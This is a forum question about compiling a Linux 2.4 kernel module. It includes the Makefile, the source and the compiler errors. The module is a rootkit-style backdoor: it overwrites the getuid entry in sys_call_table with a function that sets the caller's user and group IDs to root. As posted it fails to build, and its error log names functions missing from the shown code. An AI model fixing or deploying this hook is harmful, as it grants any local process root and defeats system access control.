I want to compile a kernel module on kernel 2.4 I'm new to kernel programming.
here is the Makefile :
TARGET := hello-2
WARN := -W -Wall -Wstrict-prototypes -Wmissing-prototypes
INCLUDE := -isystem /lib/modules/`uname -r`/build/include
CFLAGS := -O2 -DMODULE -D__KERNEL__ ${WARN} ${INCLUDE}
CC := `which gcc`
${TARGET}.o: ${TARGET}.c
.PHONY: clean
clean:
rm -rf ${TARGET}.o
and here is the code:
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
extern void *sys_call_table[];
int (*orig_getuid)();
int give_root()
{
int x;
if (current->uid != 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
}
return 0;
}
int init_module(void)
{
orig_getuid = sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid] = give_root;
return 0;
}
void cleanup_module(void)
{
sys_call_table[SYS_getuid] = orig_getuid;
}
It's a practice over a guest with old kernel (2.4) to learn something.
I returns some errors about undeclared current and Sysgetuid , ... .
I've read a post that mentioned compiling such programm in user mode caused this error and should write a kernel module. But I have this problem with kernel module! I know I'm doing something wrong basically!
and here is the error:
`which gcc` -O2 -DMODULE -D__KERNEL__ -W -Wall -Wstrict-prototypes -Wmissing-prototypes -isystem /lib/modules/`uname -r`/build/include -c -o hello-2.o hello-2.c
hello-2.c:10:1: warning: "MODULE" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:12:1: warning: "__KERNEL__" redefined
hello-2.c:1:1: warning: this is the location of the previous definition
hello-2.c:20: warning: function declaration isn't a prototype
hello-2.c:23: warning: function declaration isn't a prototype
hello-2.c: In function `give_root':
hello-2.c:25: `current' undeclared (first use in this function)
hello-2.c:25: (Each undeclared identifier is reported only once
hello-2.c:25: for each function it appears in.)
hello-2.c:24: warning: unused variable `x'
hello-2.c: In function `hello_2_init':
hello-2.c:35: `SYS_getuid' undeclared (first use in this function)
hello-2.c: In function `hello_2_exit':
hello-2.c:42: `SYS_getuid' undeclared (first use in this function)
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `copy_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `p'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:457: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/asm/processor.h: In function `release_segments':
/lib/modules/2.4.20-31.9/build/include/asm/processor.h:458: warning: unused parameter `mm'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetch':/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:43: warning: unused parameter `x'
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h: In function `prefetchw':
/lib/modules/2.4.20-31.9/build/include/linux/prefetch.h:48: warning: unused parameter `x'
make: *** [hello-2.o] Error 1